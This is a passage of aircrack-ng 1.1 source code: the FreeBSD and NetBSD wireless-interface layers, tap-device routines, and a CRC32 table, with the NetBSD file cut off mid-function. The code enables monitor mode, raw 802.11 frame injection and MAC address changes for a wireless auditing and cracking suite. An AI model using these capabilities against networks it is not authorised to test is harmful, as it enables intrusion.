wi->wi_set_mtu(wi, mtu); } struct wif *wi_open(char *iface) { struct wif *wi; /* XXX assume for now that all OSes have UNIX sockets */ wi = net_open(iface); if (!wi) wi = wi_open_osdep(iface); if (!wi) return NULL; strncpy(wi->wi_interface, iface, sizeof(wi->wi_interface)-1); wi->wi_interface[sizeof(wi->wi_interface)-1] = 0; return wi; } /* tap stuff */ char *ti_name(struct tif *ti) { assert(ti->ti_name); return ti->ti_name(ti); } int ti_set_mtu(struct tif *ti, int mtu) { assert(ti->ti_set_mtu); return ti->ti_set_mtu(ti, mtu); } int ti_get_mtu(struct tif *ti) { assert(ti->ti_get_mtu); return ti->ti_get_mtu(ti); } void ti_close(struct tif *ti) { assert(ti->ti_close); ti->ti_close(ti); } int ti_fd(struct tif *ti) { assert(ti->ti_fd); return ti->ti_fd(ti); } int ti_read(struct tif *ti, void *buf, int len) { assert(ti->ti_read); return ti->ti_read(ti, buf, len); } int ti_write(struct tif *ti, void *buf, int len) { assert(ti->ti_write); return ti->ti_write(ti, buf, len); } int ti_set_mac(struct tif *ti, unsigned char *mac) { assert(ti->ti_set_mac); return ti->ti_set_mac(ti, mac); } int ti_set_ip(struct tif *ti, struct in_addr *ip) { assert(ti->ti_set_ip); return ti->ti_set_ip(ti, ip); } struct tif *ti_alloc(int sz) { struct tif *ti; void *priv; /* Allocate tif & private state */ ti = malloc(sizeof(*ti)); if (!ti) return NULL; memset(ti, 0, sizeof(*ti)); priv = malloc(sz); if (!priv) { free(ti); return NULL; } memset(priv, 0, sz); ti->ti_priv = priv; return ti; } void *ti_priv(struct tif *ti) { return ti->ti_priv; } aircrack-ng-1.1/src/osdep/freebsd.c0000644000000000000000000003255610761053203015721 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for FreeBSD. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct priv_fbsd { /* iface */ int pf_fd; /* rx */ int pf_nocrc; /* tx */ unsigned char pf_buf[4096]; unsigned char *pf_next; int pf_totlen; struct ieee80211_bpf_params pf_txparams; /* setchan */ int pf_s; struct ifreq pf_ifr; struct ieee80211req pf_ireq; int pf_chan; }; /* from ifconfig */ static __inline int mapgsm(u_int freq, u_int flags) { freq *= 10; if (flags & IEEE80211_CHAN_QUARTER) freq += 5; else if (flags & IEEE80211_CHAN_HALF) freq += 10; else freq += 20; /* NB: there is no 907/20 wide but leave room */ return (freq - 906*10) / 5; } static __inline int mappsb(u_int freq) { return 37 + ((freq * 10) + ((freq % 5) == 2 ? 5 : 0) - 49400) / 5; } /* * Convert MHz frequency to IEEE channel number. */ static u_int ieee80211_mhz2ieee(u_int freq, u_int flags) { if ((flags & IEEE80211_CHAN_GSM) || (907 <= freq && freq <= 922)) return mapgsm(freq, flags); if (freq == 2484) return 14; if (freq < 2484) return (freq - 2407) / 5; if (freq < 5000) { if (flags & (IEEE80211_CHAN_HALF|IEEE80211_CHAN_QUARTER)) return mappsb(freq); else if (freq > 4900) return (freq - 4000) / 5; else return 15 + ((freq - 2512) / 20); } return (freq - 5000) / 5; } /* end of ifconfig */ static void get_radiotap_info(struct priv_fbsd *pf, struct ieee80211_radiotap_header *rth, int *plen, struct rx_info *ri) { uint32_t present; uint8_t rflags = 0; int i; unsigned char *body = (unsigned char*) (rth+1); int dbm_power = 0, db_power = 0; /* reset control info */ if (ri) memset(ri, 0, sizeof(*ri)); /* get info */ present = le32toh(rth->it_present); for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) { if (!(present & (1 << i))) continue; switch (i) { case IEEE80211_RADIOTAP_TSFT: body += sizeof(uint64_t); break; case IEEE80211_RADIOTAP_FLAGS: rflags = *((uint8_t*)body); /* fall through */ case IEEE80211_RADIOTAP_RATE: body += sizeof(uint8_t); break; case IEEE80211_RADIOTAP_CHANNEL: if (ri) { uint16_t *p = (uint16_t*) body; int c = ieee80211_mhz2ieee(*p, *(p+1)); ri->ri_channel = c; } body += sizeof(uint16_t)*2; break; case IEEE80211_RADIOTAP_FHSS: body += sizeof(uint16_t); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: dbm_power = *body++; break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: dbm_power -= *body++; break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: db_power = *body++; break; case IEEE80211_RADIOTAP_DB_ANTNOISE: db_power -= *body++; break; default: i = IEEE80211_RADIOTAP_EXT+1; break; } } /* set power */ if (ri) { if (dbm_power) ri->ri_power = dbm_power; else ri->ri_power = db_power; } /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ if (pf->pf_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; pf->pf_nocrc = 1; } } static unsigned char *get_80211(struct priv_fbsd *pf, int *plen, struct rx_info *ri) { struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; void *ptr; unsigned char **data; int *totlen; data = &pf->pf_next; totlen = &pf->pf_totlen; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (unsigned char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); get_radiotap_info(pf, rth, plen, ri); *plen -= rth->it_len; assert(*plen > 0); /* data */ ptr = (char*)rth + rth->it_len; return ptr; } static int fbsd_get_channel(struct wif *wi) { struct priv_fbsd *pf = wi_priv(wi); if(ioctl(pf->pf_s, SIOCG80211, &pf->pf_ireq) != 0) return -1; return pf->pf_ireq.i_val; } static int fbsd_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_fbsd *pf = wi_priv(wi); unsigned char *wh; int plen; assert(len > 0); /* need to read more */ if (pf->pf_totlen == 0) { pf->pf_totlen = read(pf->pf_fd, pf->pf_buf, sizeof(pf->pf_buf)); if (pf->pf_totlen == -1) { pf->pf_totlen = 0; return -1; } pf->pf_next = pf->pf_buf; } /* read 802.11 packet */ wh = get_80211(pf, &plen, ri); if (plen > len) plen = len; assert(plen > 0); memcpy(h80211, wh, plen); if(ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi); return plen; } static int fbsd_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct iovec iov[2]; struct priv_fbsd *pf = wi_priv(wi); int rc; /* XXX make use of ti */ if (ti) {} iov[0].iov_base = &pf->pf_txparams; iov[0].iov_len = pf->pf_txparams.ibp_len; iov[1].iov_base = h80211; iov[1].iov_len = len; rc = writev(pf->pf_fd, iov, 2); if (rc == -1) return rc; if (rc < (int) iov[0].iov_len) return 0; return rc - iov[0].iov_len; } static int fbsd_set_channel(struct wif *wi, int chan) { struct priv_fbsd *pf = wi_priv(wi); pf->pf_ireq.i_val = chan; if( ioctl(pf->pf_s, SIOCS80211, &pf->pf_ireq) != 0 ) return -1; pf->pf_chan = chan; return 0; } static void do_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void fbsd_close(struct wif *wi) { struct priv_fbsd *pf = wi_priv(wi); close(pf->pf_fd); close(pf->pf_s); do_free(wi); } static int do_fbsd_open(struct wif *wi, char *iface) { int i; char buf[64]; int fd = -1; struct ifreq ifr; unsigned int dlt = DLT_IEEE802_11_RADIO; int s; unsigned int flags; struct ifmediareq ifmr; int *mwords; struct priv_fbsd *pf = wi_priv(wi); /* basic sanity check */ if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1; /* open wifi */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) return -1; pf->pf_s = s; /* set iface up and promisc */ memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, iface); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock; flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16); flags |= IFF_UP | IFF_PPROMISC; memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, iface); ifr.ifr_flags = flags & 0xffff; ifr.ifr_flagshigh = flags >> 16; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock; /* monitor mode */ memset(&ifmr, 0, sizeof(ifmr)); strcpy(ifmr.ifm_name, iface); if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock; assert(ifmr.ifm_count != 0); mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); if (!mwords) goto close_sock; ifmr.ifm_ulist = mwords; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { free(mwords); goto close_sock; } free(mwords); memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, iface); ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR; if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock; /* setup ifreq for chan that may be used in future */ strcpy(pf->pf_ireq.i_name, iface); pf->pf_ireq.i_type = IEEE80211_IOC_CHANNEL; /* same for ifreq [mac addr] */ strcpy(pf->pf_ifr.ifr_name, iface); /* open bpf */ for(i = 0; i < 256; i++) { sprintf(buf, "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) return -1; continue; } else break; } if(fd < 0) goto close_sock; strcpy(ifr.ifr_name, iface); if(ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf; if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf; dlt = 1; if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf; return fd; close_sock: close(s); return -1; close_bpf: close(fd); goto close_sock; } static int fbsd_fd(struct wif *wi) { struct priv_fbsd *pf = wi_priv(wi); return pf->pf_fd; } static int fbsd_get_mac(struct wif *wi, unsigned char *mac) { struct ifaddrs *ifa, *p; char *name = wi_get_ifname(wi); int rc = -1; struct sockaddr_dl* sdp; if (getifaddrs(&ifa) == -1) return -1; p = ifa; while (p) { if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0) { sdp = (struct sockaddr_dl*) p->ifa_addr; memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6); rc = 0; break; } p = p->ifa_next; } freeifaddrs(ifa); return rc; } static int fbsd_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 0; } static int fbsd_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 1000000; } static int fbsd_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ /* XXX */ return 0; } static int fbsd_set_mac(struct wif *wi, unsigned char *mac) { struct priv_fbsd *priv = wi_priv(wi); struct ifreq *ifr = &priv->pf_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->pf_s, SIOCSIFLLADDR, ifr); } static struct wif *fbsd_open(char *iface) { struct wif *wi; struct priv_fbsd *pf; int fd; /* setup wi struct */ wi = wi_alloc(sizeof(*pf)); if (!wi) return NULL; wi->wi_read = fbsd_read; wi->wi_write = fbsd_write; wi->wi_set_channel = fbsd_set_channel; wi->wi_get_channel = fbsd_get_channel; wi->wi_close = fbsd_close; wi->wi_fd = fbsd_fd; wi->wi_get_mac = fbsd_get_mac; wi->wi_set_mac = fbsd_set_mac; wi->wi_get_rate = fbsd_get_rate; wi->wi_set_rate = fbsd_set_rate; wi->wi_get_monitor = fbsd_get_monitor; /* setup iface */ fd = do_fbsd_open(wi, iface); if (fd == -1) { do_free(wi); return NULL; } /* setup private state */ pf = wi_priv(wi); pf->pf_fd = fd; pf->pf_txparams.ibp_vers = IEEE80211_BPF_VERSION; pf->pf_txparams.ibp_len = sizeof(struct ieee80211_bpf_params) - 6; pf->pf_txparams.ibp_rate1 = 2; /* 1 MB/s XXX */ pf->pf_txparams.ibp_try1 = 1; /* no retransmits */ pf->pf_txparams.ibp_flags = IEEE80211_BPF_NOACK; pf->pf_txparams.ibp_power = 100; /* nominal max */ pf->pf_txparams.ibp_pri = WME_AC_VO; /* high priority */ return wi; } struct wif *wi_open_osdep(char *iface) { return fbsd_open(iface); } int get_battery_state(void) { #if defined(__FreeBSD__) int value; size_t len; len = 1; value = 0; sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0); if (value == 0) { sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0); value = value * 60; } else { value = 0; } return( value ); #elif defined(_BSD_SOURCE) struct apm_power_info api; int apmfd; if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0; if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) { close(apmfd); return 0; } close(apmfd); if (api.battery_state == APM_BATT_UNKNOWN || api.battery_state == APM_BATTERY_ABSENT || api.battery_state == APM_BATT_CHARGING || api.ac_state == APM_AC_ON) { return 0; } return ((int)(api.minutes_left))*60; #else return 0; #endif } aircrack-ng-1.1/src/osdep/crctable_osdep.h0000644000000000000000000000640510761053203017257 0ustar rootroot#ifndef _CRCTABLE_OSDEP_H #define _CRCTABLE_OSDEP_H const unsigned long int crc_tbl_osdep[256] = { 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D }; #endif /* crctable_osdep.h */ aircrack-ng-1.1/src/osdep/freebsd_tap.c0000644000000000000000000001130410761053203016551 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for FreeBSD. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_fbsd { int tf_fd; int tf_ioctls; struct ifreq tf_ifr; char tf_name[MAX_IFACE_NAME]; int tf_destroy; }; static int ti_do_open_fbsd(struct tif *ti, char *name) { int fd; char *iface = "/dev/tap"; struct stat st; struct tip_fbsd *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; /* open tap */ if (name) iface = name; else priv->tf_destroy = 1; /* we create, we destroy */ fd = open(iface, O_RDWR); if (fd == -1) return -1; /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->tf_name, sizeof(priv->tf_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->tf_ioctls = s; /* get flags */ ifr = &priv->tf_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tf_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = (ifr->ifr_flags & 0xffff) | (ifr->ifr_flagshigh << 16); /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; ifr->ifr_flagshigh = flags >> 16; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_fbsd *priv) { ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr); } static void ti_close_fbsd(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); if (priv->tf_destroy) ti_destroy(priv); close(priv->tf_fd); close(priv->tf_ioctls); ti_do_free(ti); } static char *ti_name_fbsd(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); return priv->tf_name; } static int ti_set_mtu_fbsd(struct tif *ti, int mtu) { struct tip_fbsd *priv = ti_priv(ti); priv->tf_ifr.ifr_mtu = mtu; return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr); } static int ti_set_mac_fbsd(struct tif *ti, unsigned char *mac) { struct tip_fbsd *priv = ti_priv(ti); struct ifreq *ifr = &priv->tf_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr); } static int ti_set_ip_fbsd(struct tif *ti, struct in_addr *ip) { struct tip_fbsd *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_fbsd(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); return priv->tf_fd; } static int ti_read_fbsd(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_fbsd(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_fbsd(char *iface) { struct tif *ti; struct tip_fbsd *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_fbsd; ti->ti_set_mtu = ti_set_mtu_fbsd; ti->ti_close = ti_close_fbsd; ti->ti_fd = ti_fd_fbsd; ti->ti_read = ti_read_fbsd; ti->ti_write = ti_write_fbsd; ti->ti_set_mac = ti_set_mac_fbsd; ti->ti_set_ip = ti_set_ip_fbsd; /* setup iface */ fd = ti_do_open_fbsd(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tf_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_fbsd(iface); } aircrack-ng-1.1/src/osdep/netbsd.c0000644000000000000000000003016010761053203015553 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for NetBSD. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #ifndef IEEE80211_RADIOTAP_F_FCS #define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */ #endif #ifndef IEEE80211_IOC_CHANNEL #define IEEE80211_IOC_CHANNEL 0 #endif #ifndef le32toh #define le32toh(x) htole32(x) #endif struct priv_nbsd { /* iface */ int pn_fd; /* rx */ int pn_nocrc; /* tx */ unsigned char pn_buf[4096]; unsigned char *pn_next; int pn_totlen; /* setchan */ int pn_s; struct ifreq pn_ifr; struct ieee80211chanreq pn_ireq; int pn_chan; }; static void get_radiotap_info(struct priv_nbsd *pn, struct ieee80211_radiotap_header *rth, int *plen, struct rx_info *ri) { uint32_t present; uint8_t rflags = 0; int i; unsigned char *body = (unsigned char*) (rth+1); int dbm_power = 0, db_power = 0; /* reset control info */ if (ri) memset(ri, 0, sizeof(*ri)); /* get info */ present = le32toh(rth->it_present); for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) { if (!(present & (1 << i))) continue; switch (i) { case IEEE80211_RADIOTAP_TSFT: body += sizeof(uint64_t); break; case IEEE80211_RADIOTAP_FLAGS: rflags = *((uint8_t*)body); /* fall through */ case IEEE80211_RADIOTAP_RATE: body += sizeof(uint8_t); break; case IEEE80211_RADIOTAP_CHANNEL: if (ri) { ri->ri_channel = 1; } body += sizeof(uint16_t)*2; break; case IEEE80211_RADIOTAP_FHSS: body += sizeof(uint16_t); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: dbm_power = *body++; break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: dbm_power -= *body++; break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: db_power = *body++; break; case IEEE80211_RADIOTAP_DB_ANTNOISE: db_power -= *body++; break; default: i = IEEE80211_RADIOTAP_EXT+1; break; } } /* set power */ if (ri) { if (dbm_power) ri->ri_power = dbm_power; else ri->ri_power = db_power; } /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ if (pn->pn_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; pn->pn_nocrc = 1; } } static unsigned char *get_80211(struct priv_nbsd *pn, int *plen, struct rx_info *ri) { struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; void *ptr; unsigned char **data; int *totlen; data = &pn->pn_next; totlen = &pn->pn_totlen; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (unsigned char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); get_radiotap_info(pn, rth, plen, ri); *plen -= rth->it_len; assert(*plen > 0); /* data */ ptr = (char*)rth + rth->it_len; return ptr; } static int nbsd_get_channel(struct wif *wi) { struct priv_nbsd *pn = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); if(ioctl(pn->pn_s, SIOCG80211CHANNEL, (caddr_t)&channel) < 0) return -1; return channel.i_channel; } static int nbsd_set_channel(struct wif *wi, int chan) { struct priv_nbsd *pn = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); channel.i_channel = chan; if(ioctl(pn->pn_s, SIOCS80211CHANNEL, (caddr_t)&channel) < 0) return -1; pn->pn_chan = chan; return 0; } static int nbsd_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_nbsd *pn = wi_priv(wi); unsigned char *wh; int plen; assert(len > 0); /* need to read more */ if (pn->pn_totlen == 0) { pn->pn_totlen = read(pn->pn_fd, pn->pn_buf, sizeof(pn->pn_buf)); if (pn->pn_totlen == -1) { pn->pn_totlen = 0; return -1; } pn->pn_next = pn->pn_buf; } /* read 802.11 packet */ wh = get_80211(pn, &plen, ri); if (plen > len) plen = len; assert(plen > 0); memcpy(h80211, wh, plen); if(ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi); return plen; } static int nbsd_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_nbsd *pn = wi_priv(wi); int rc; /* XXX make use of ti */ if (ti) {} rc = write(pn->pn_fd, h80211, len); if (rc == -1) return rc; return 0; } static void do_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void nbsd_close(struct wif *wi) { struct priv_nbsd *pn = wi_priv(wi); close(pn->pn_fd); close(pn->pn_s); do_free(wi); } static int do_nbsd_open(struct wif *wi, char *iface) { int i; char buf[64]; int fd = -1; struct ifreq ifr; unsigned int 